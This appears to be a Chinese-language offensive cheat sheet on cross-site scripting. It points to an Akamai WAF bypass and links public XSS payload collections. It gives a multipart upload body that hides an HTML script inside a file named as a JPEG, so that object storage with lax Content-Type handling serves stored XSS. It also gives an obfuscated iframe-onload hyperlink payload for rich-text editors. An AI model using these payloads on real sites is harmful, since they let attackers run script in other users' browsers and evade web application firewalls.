可以绕过 Akamai waf
注意其中加号表示空格
FIREFOX 支持 chrome 不支持

值得关注的是 marquee 这个标签很特别,是一个废弃的标签,却仍然被少量浏览器支持。

Tested: Akamai waf bypass

一组 payload
https://github.com/TheKingOfDuck/easyXssPayload
https://github.com/BLKStone/easyXssPayload

上传点 XSS

在 OSS 的某些特殊配置下, 可能 Content-Type 限制设置不严格。
浏览器会先把文件作为图片解析,如果失败就降级成 HTML 来解析,造成类似于 存储型 XSS 的效果。
因此,形如 https://oss.example.com/20190501/picture1.jpg 的 URL 也能执行 JavaScript。
因此可以在 上传的 HTTP 请求的 multipart body 中使用如下操作

Content-Disposition: form-data; name="file"; filename="picture1.jpg"
Content-Type: image/jpeg

<html>
<script>alert(1);</script>
</html>

jpg 不能作为 html 执行的话,可以试试把文件名改成 picture1.html

编辑器 XSS

1 上传图片
2 插入超链接

插入超链接触发 XSS 的案例

http://<? foo="><iframe/onload='this["src"]="javas   cript:al"+"ert`123`"';>

其他 payload

可以配合 XssSniper 使用
